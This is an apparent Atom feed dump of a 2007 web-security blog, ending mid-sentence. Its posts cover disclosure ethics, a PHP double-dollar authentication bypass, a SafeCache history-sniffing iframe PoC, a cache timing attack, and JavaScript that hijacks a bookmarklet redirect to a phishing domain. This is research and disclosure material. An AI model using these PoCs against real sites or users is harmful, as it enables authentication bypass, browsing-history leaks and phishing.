href='http://www.blogger.com/feeds/23714519/posts/default/2122588866120297199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2122588866120297199'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/breaking-firefoxs-rcsr-fix.html' title='Breaking Firefox&apos;s RCSR Fix'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1973029019995563361</id><published>2007-02-24T11:27:00.000+11:00</published><updated>2007-02-24T12:04:18.339+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>On Disclosure</title><content type='html'>Firstly, just so that you understand my bias, my view on this topic is as follows:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;I don't care how unethical disclosure is; if it interests me, and possibly others I'll post it.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I have no responsibility to give a vendor who has written insecure software time to fix their flaws - they've had time ever since they started writing it.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I also have no responsibility to contact them about any issues either.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;I have no need to justify my position to anyone, and it won't change unless I get paid for it to change.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Anyway; &lt;a href="http://whiteacid.org/"&gt;Sid&lt;/a&gt; wrote a post on blogs.securiteam.com about how an ISP had backdoored its customers routers to make administration easier, entitled &lt;a href="http://blogs.securiteam.com/index.php/archives/826"&gt;Accidental backdoor by ISP&lt;/a&gt;, which generated a bit of heat from some people, especially &lt;a href="http://hype-free.blogspot.com/"&gt;Cd-MaN&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;He goes on about how Sid's post was unethical because didn't help anyone by mentioning which ISP it was, and saying which subnet they owned and what the passwords were, other than people who would want to attack the ISP.&lt;br /&gt;&lt;br /&gt;Now, arguing on in cd-man's terms, there are people it helps. It helps anyone who wants to do some further investigation of the issue. It helps anyone who has an account with that ISP to secure themselves; I see no reason why it has to be disclosed in such a way that it would reach the majority of affected users, its not our responsibility to fix other people's mistakes; and never should be.&lt;br /&gt;&lt;br /&gt;It also helps raise awareness of an issue which hasn't got much (if any) air time before. Because if you read any of the SpeedTouch manuals you will notice that they have a default remote administrator account, which most users never know about. Furthermore I'm willing to bet on the fact that most ISPs who use  SpeedTouch routers will all have the same remote admin passwords.&lt;br /&gt;&lt;br /&gt;And it really doesn't help anyone to say thing like (http://hype-free.blogspot.com/2007/02/full-disclosure-gone-bad.html) &lt;blockquote&gt;But this recent post on security team screams of the "I'm 1337, I can use nmap, I rooted 14716 computers" sentiment.&lt;/blockquote&gt;&lt;br /&gt;Because all it does is spread the FUD. If cd-man had bothered reading the post carefully he would have noticed that all I did was run an nmap scan to determine how many of the hosts were running telnet in that subnet. I think the number is higher than 14716 though, because my wireless network is dodgy and prone to giving out halfway through something, and considering that that scan took hours (unattended), I wouldn't be surprised if it had missed whole chunks.&lt;br /&gt;&lt;br /&gt;Oh and he also says: &lt;blockquote&gt;How does disclosing this flaw with such detail (like subnet addresses and the ISP name) help anyone? The story would have been just as interesting would he left those details out.&lt;/blockquote&gt;&lt;br /&gt;I have no real argument her, but I see nothing interesting in someone posting that some ISP somewhere has used the same remote admin password on all its routers. But that's not exactly something we can argue about, since that's just like arguing which tv show is better.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1973029019995563361?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1973029019995563361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1973029019995563361' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1973029019995563361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1973029019995563361'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/on-disclosure.html' title='On Disclosure'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7294732326743417766</id><published>2007-02-20T14:28:00.000+11:00</published><updated>2007-02-21T17:01:20.770+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Gotcha!: A PHP Oddity (with contrived security implications)</title><content type='html'>A while ago, I was look over some code a friend of mine (who doesn't write much PHP) had written, which 'worked', but really shouldn't have.&lt;br /&gt;&lt;br /&gt;It looked something like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;if (strpos ($string, "needle") == "needle") {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "Is Valid";&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And if you know PHP, you'll know that strpos always returns an integer or Boolean false (i.e. it should never return a string), so how the hell could this work?&lt;br /&gt;&lt;br /&gt;Well, skipping my usual anecdote; it turns out that PHP casts string to integers when doing comparisons between strings and integers (not the other way around as I would have expected), and so "needle" got cast to an integer, and it was equal to 0. (And since strpos was returning 0 the above code worked).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;Edit&amp;gt;&lt;/b&gt; (21/02/07): I realise that there should never be a double dollar vulnerability anywhere in your code, but mistakes are made, this is just what I thought was a curiosity which would interest people; clearly I was wrong. Also, while this uses a double dollar vuln, it is the only way I could come up with to get a string to be compared to an integer (rather than a decimal string) you control.&lt;br /&gt;&amp;lt;/Edit&amp;gt;&lt;br /&gt;&lt;br /&gt;Now, for the very contrived security issue:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$authenticated = 0;&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;if (isset($_SESSION['password'])) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ($_SESSION['password'] == "password removed from backup") {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$authenticated = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;} elseif (isset ($_GET['password'])) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ($$_GET['password'] == "password removed from backup") {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$authenticated = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if ($authenticated == 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "You Win!";&lt;br /&gt;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "You Fail!";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You'll see the code above has a double dollar vulnerability; which would be unexploitable in this scenario because the password string is not stored in a variable; but rather is hard coded. But since; at this point, the variable $authenticated is equal to zero, we can have $_GET['password'] equal to "authenticated", and $$_GET['password'] is equal to zero, and the comparison works.&lt;br /&gt;&lt;br /&gt;Note: The double dollar vuln is needed rather than just passing 0 to a normal comparison because all variables sent through http are strings.&lt;br /&gt;&lt;br /&gt;Note2: It doesn't matter in what order the arguments are typed in the comparison, i.e. the following would also be vulnerable:&lt;br /&gt;&lt;code&gt; if ("password removed from backup" == $$_GET['password']) {&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7294732326743417766?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7294732326743417766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7294732326743417766' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7294732326743417766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7294732326743417766'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/gotcha-php-oddity-with-contrived.html' title='Gotcha!: A PHP Oddity (with contrived security implications)'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-361061021096452588</id><published>2007-02-19T18:58:00.000+11:00</published><updated>2007-02-19T19:15:54.615+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>You call that a game? This is a......</title><content type='html'>Firstly; sorry for the lack of updates, I've really been too busy to come up with anything interesting to write, and haven't found anything particularly interesting to write about.&lt;br /&gt;&lt;br /&gt;Now, onto the bad title. I found the following "game" on &lt;a href="http://www.digg.com/security/Can_you_crack_100_SHA_1_hashes_Can_you_crack_the_most_Prove_it"&gt;digg&lt;/a&gt;: &lt;a href="http://crackquest.ultramuffin.com/index.php"&gt;http://crackquest.ultramuffin.com/index.php&lt;/a&gt; and decided to see exactly how effective the sha-1 rainbowtables I had found were.&lt;br /&gt;&lt;br /&gt;Now, the first thing I tried was using &lt;a href="http://www.shalookup.com/"&gt;http://www.shalookup.com/&lt;/a&gt; since you can crack up to 50 hashes at a time (50 because that is the limit per IP). So I ran the list of hashes against shalookup.com (using a proxy for the second 50) and got quite good results; I think that at least 50 (I wasn't counting) of the hashes I cracked came from shalookup.com.&lt;br /&gt;&lt;br /&gt;After this I ran the remaining hashes against &lt;a href="http://www.hashreverse.com/"&gt;http://www.hashreverse.com/&lt;/a&gt; and &lt;a href="http://md5.rednoize.com/"&gt;http://md5.rednoize.com/&lt;/a&gt; and was able to crack a further 20 hashes.&lt;br /&gt;&lt;br /&gt;I tried running the remaining 30 against &lt;a href="http://www.md5encryption.com/"&gt;http://www.md5encryption.com/&lt;/a&gt;, but got no results (which doesn't really say anything since the only ones left were the ones no-one else could get), and I got interrupted while running the hashes against &lt;a href="http://hashcrack.905tech.com/cracker.php"&gt;http://hashcrack.905tech.com/cracker.php&lt;/a&gt;, which during the time I was away went down, and I don't have an account on &lt;a href="http://rainbowcrack.com/"&gt;http://rainbowcrack.com/&lt;/a&gt; (if anyone does, I'd really appreciate it if you got in contact with me), and &lt;a href="http://passcrack.spb.ru/"&gt;http://passcrack.spb.ru/&lt;/a&gt; seems to be down for maintenance. &lt;br /&gt;&lt;br /&gt;So while this little anecdote can't testify to the usefulness of any single site (other than shalookup.com), it clearly illustrates that it doesn't matter what hashing algorithm you use if you do not salt the data first, and your users use poor passwords. But we already knew that, so *shrug*.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-361061021096452588?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/361061021096452588/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=361061021096452588' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/361061021096452588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/361061021096452588'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/you-call-that-game-this-is.html' title='You call that a game? This is a......'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4658275226080432400</id><published>2007-02-13T22:05:00.000+11:00</published><updated>2007-02-13T21:51:35.250+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Attacking Aspect Security's PDF UXSS Filter</title><content type='html'>While this is not really much of an issue any more because Adobe have released and update and there isn't really much to say, I'd like to revisit it for a momment.&lt;br /&gt;&lt;br /&gt;There were a lot of people (myself included) who had considered the PDF UXSS issue unsolvable at the server-side level; &lt;a href="http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE"&gt;how wrong we were: http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have no real analysis of it because, as far as I can tell, its bullet proof. or at least it would be if browser security didn't have fist-size holes in it. From a black box perspective where there is no information leakage; that fix is great.&lt;br /&gt;&lt;br /&gt;But sadly, there are ways to simply obtain the data. Using an Anti-DNS Pinning attack, it should not be a problem to simply send a request to that IP with the appropriate Host header, etc, and then parse out the link and simply redirect the user. I'm not going to bother providing any code, because there's really nothing new here, just another misfortune.&lt;br /&gt;&lt;br /&gt;So a very good idea, is practically useless, simply because the rest of our security model is shot to bits.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4658275226080432400?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4658275226080432400/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4658275226080432400' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4658275226080432400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4658275226080432400'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/attacking-aspect-securitys-pdf-uxss.html' title='Attacking Aspect Security&apos;s PDF UXSS Filter'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2242048681348789093</id><published>2007-02-13T19:57:00.000+11:00</published><updated>2007-02-14T17:25:03.340+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>A Better Web Cache Timing Attack</title><content type='html'>I've been thinking on whether I should bother writing an actual paper on this or not, but when I found that Princeton had already written a pretty decent paper on Web Cache timing attacks back in 2000, which you can find here: &lt;a href="http://www.cs.princeton.edu/sip/pub/webtiming.pdf"&gt;http://www.cs.princeton.edu/sip/pub/webtiming.pdf&lt;/a&gt; I decided against it.&lt;br /&gt;&lt;br /&gt;If you read the paper you will see that the attack relies on the user of two images to determine if the images are cached by determining if there is a dramatic change in loading times between getting the timing for one image, then loading a page which caches both images, and then getting the timing for the second image. If there is a significant difference, then then the first image had not been cached, and they had therefore not visited the page; whereas if there was no significant difference then the image was already cached, and therefore the page had been viewed before.&lt;br /&gt;&lt;br /&gt;Now, this suffers from the fact that you do actually need two images which are ONLY displayed together, because otherwise your results will be erroneous, and not only that; but it requires that the images are approximately the same size so that your inferences about cache state are accurate.&lt;br /&gt;&lt;br /&gt;A much better solution is to be able to determine the time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456&lt;br /&gt;&lt;br /&gt;The first thing we do is generate a random request string, and make a request for that image, and we now have the approximate time it should take to get the image when it is not cached, and we then make a second request to see how long the image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.&lt;br /&gt;&lt;br /&gt;We then make a request for the image without any request parameters and see which averaged value it is closer to, and then determine cache state.&lt;br /&gt;&lt;br /&gt;This benefits from the fact that not only does there only need to be one image, and we can therefore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for the same size image.&lt;br /&gt;&lt;br /&gt;Sadly not quite as effective as the attack against the SafeCache extension, but that's why its a timing attack I guess, :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2242048681348789093?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2242048681348789093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2242048681348789093' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2242048681348789093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2242048681348789093'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/better-web-cache-timing-attack.html' title='A Better Web Cache Timing Attack'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4787923126858237886</id><published>2007-02-10T22:31:00.000+11:00</published><updated>2007-06-09T16:05:13.250+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Extension Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Attacking the SafeCache Firefox Extension</title><content type='html'>Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all my content here:&lt;br /&gt;&lt;br /&gt;The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: &lt;a href="http://www.safecache.com/"&gt;http://www.safecache.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.&lt;br /&gt;&lt;br /&gt;It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.&lt;br /&gt;&lt;br /&gt;To test this either login to Gmail, or go to &lt;a href="http://mail.google.com/mail/help/images/logo.gif"&gt;http://mail.google.com/mail/help/images/logo.gif&lt;/a&gt; and then create a page like the following:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function loaded() {&lt;br /&gt;var time = new Date();&lt;br /&gt;var t2 = time.getTime();&lt;br /&gt;alert(t2- t1);&lt;br /&gt;}&lt;br /&gt;var time = new Date();&lt;br /&gt;var t1 = time.getTime();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;iframe src="http://mail.google.com/mail/help/images/logo.gif" onload="loaded()"&amp;gt;&lt;br /&gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.&lt;br /&gt;&lt;br /&gt;If you refresh the page, the onload event will not fire a second time because the image is already in the cache.&lt;br /&gt;&lt;br /&gt;So while it stops standard cache timing attacks, it does not stop attacks against itself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4787923126858237886?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4787923126858237886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4787923126858237886' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4787923126858237886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4787923126858237886'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/attacking-safecache-firefox-extension.html' title='Attacking the SafeCache Firefox Extension'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2106844212405543988</id><published>2007-02-10T21:37:00.000+11:00</published><updated>2007-02-10T21:45:55.609+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Anatomy of a Worm by Kyran</title><content type='html'>From &lt;a href="http://kyran.wordpress.com/2007/02/10/paper-anatomy-of-a-worm/"&gt;http://kyran.wordpress.com/2007/02/10/paper-anatomy-of-a-worm/&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;It’s about the worm I wrote targeting GaiaOnline.com, aptly named ”gaiaworm”. This is the third version of the worm and the first time I’ve ever really written a paper.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Its an interesting paper that details what he has coined a "Pseudo-Reflective" Worm, in that while it uses a reflected XSS vector, it uses a persistent on(in?)-site spreading mechanism - in this case the PM system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2106844212405543988?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://kyran.wordpress.com/2007/02/10/paper-anatomy-of-a-worm/' title='Anatomy of a Worm by Kyran'/><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2106844212405543988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2106844212405543988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2106844212405543988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2106844212405543988'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/anatomy-of-worm-by-kyran.html' title='Anatomy of a Worm by Kyran'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7765181394655656134</id><published>2007-02-10T19:18:00.000+11:00</published><updated>2007-02-10T17:23:39.832+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Solving Password Brute Force And Lockout Issues</title><content type='html'>Locking users out of sites by exhausting a limited number of login attempts has always been a pet peeve of mine (not only because you can sometimes forget which particular password you used; but also because it becomes quite easy to perform a DoS attack against someone's account simply by locking them out via failed login attempts) that I thought most websites had done away with, not so &lt;a href="http://sudolabs.com/forum/"&gt;Sudo Labs&lt;/a&gt; it seems. Now, I'm not about to take responsibility for this since it isn't our code base, and we didn't even think that it would be set up this way, but when I was talking to &lt;a href="http://kyran.wordpress.com/"&gt;Kyran&lt;/a&gt; I found out that (much to our chagrin), he had gotten locked out.&lt;br /&gt;&lt;br /&gt;Which got me thinking; why can't we have an over-ride code to allow people to login even when their account is being attacked. As I see it there's no reason we can't, we can even re-use existing code to achieve it.&lt;br /&gt;&lt;br /&gt;These days when you want to sign up for most sites you get sent an email with an activation code/link which you have to use so that your account is activated, and we know you own the account.&lt;br /&gt;&lt;br /&gt;Now, if we were to use the current lockout system, but give users an option to request a special login code, we would be able to leave the normal functionality working most of the time (except for when the user's account is being DoS-ed), but when they are being attacked they would not be locked out because they can easily just request a login code, and use it to bypass the lockout. Of course, this cannot be used by email vendors, who are already the crux of most of our identification, so its not much of an extra burden.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7765181394655656134?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7765181394655656134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7765181394655656134' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7765181394655656134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7765181394655656134'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/solving-password-brute-force-and.html' title='Solving Password Brute Force And Lockout Issues'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7975808341424040452</id><published>2007-02-10T17:04:00.000+11:00</published><updated>2007-03-20T19:21:41.069+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Bookmarklets are NOT secure</title><content type='html'>Jungsonn wrote a post entitled "&lt;a href="http://www.jungsonnstudios.com/blog/?i=116&amp;bin=1110100"&gt;Defeating Phishers&lt;/a&gt;" where he wrote about how one could distribute risk across two servers, and essentially have one site where XSS vulnerabilities are unimportant, and one which would need to be audited heavily. He also recommended using Bookmarklets because "Bookmarklets are actually pretty secure things, no software or website can access them.".&lt;br /&gt;&lt;br /&gt;Personally I disagree with both those statements. Firstly, if you find an XSS hole in the main domain, you can easily make the page say that they've changed their practices, sure it would be a little odd, but the amount of user education required for this attack to be impractical would be enough to solve the whole phishing issue, not just this one.&lt;br /&gt;&lt;br /&gt;But more importantly I want to debunk the myth that Bookmarklets are secure. Leaving aside the fact that trojans and similar can easily alter them because they have access to the file system, they are still insecure; they are as insecure as the page they are clicked on is untrustworthy.&lt;br /&gt;&lt;br /&gt;For example, lets take the Bookmarklet Jungsonn posted:&lt;br /&gt;&lt;code&gt;javascript:QX=document.getSelection();if(!QX){void(QX=prompt('Type your firstname',''))};if(QX)document.location='https://myonlinebank.com'&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;It would seem fairly secure, except for the fact that with the very allowing Javascript engines, we can stop this from working, here's how:&lt;br /&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;br /&gt; function changeHandler(x, y, z) {&lt;br /&gt;  if (z == 'https://myonlinebank.com') {&lt;br /&gt;   return 'https://myonlinebank.com.us';&lt;br /&gt;  } else {&lt;br /&gt;   return z;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; document.watch('location', changeHandler);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;If the bookmarklet is clicked on a page with that on it - say a phishing page at http://myonlinebank.com.us or a legitimate page on the http://onlinebank.com domain if it has an XSS hole in it, then we can easily send the user to a phishing page, even though the value is hard coded in the bookmarklet.&lt;br /&gt;&lt;br /&gt;Of course, the bookmarklet can try to detect and remove such things, but its a technological battle that will be fought on a bookmarklet by bookmarklet basis; which  is essentially where security generally fails - custom code. Of course the other scenario is that we find a secure method of redirecting users, but even if we do, we're not going to be able to get everyone to use it; so I'd rather not recommend bookmarklets as security; just tell users to create a simple bookmark to the site.&lt;br /&gt;&lt;br /&gt;Or we could try to educate users to only click on the bookmarklet from a blank page, but thats another area where security generally fails - user 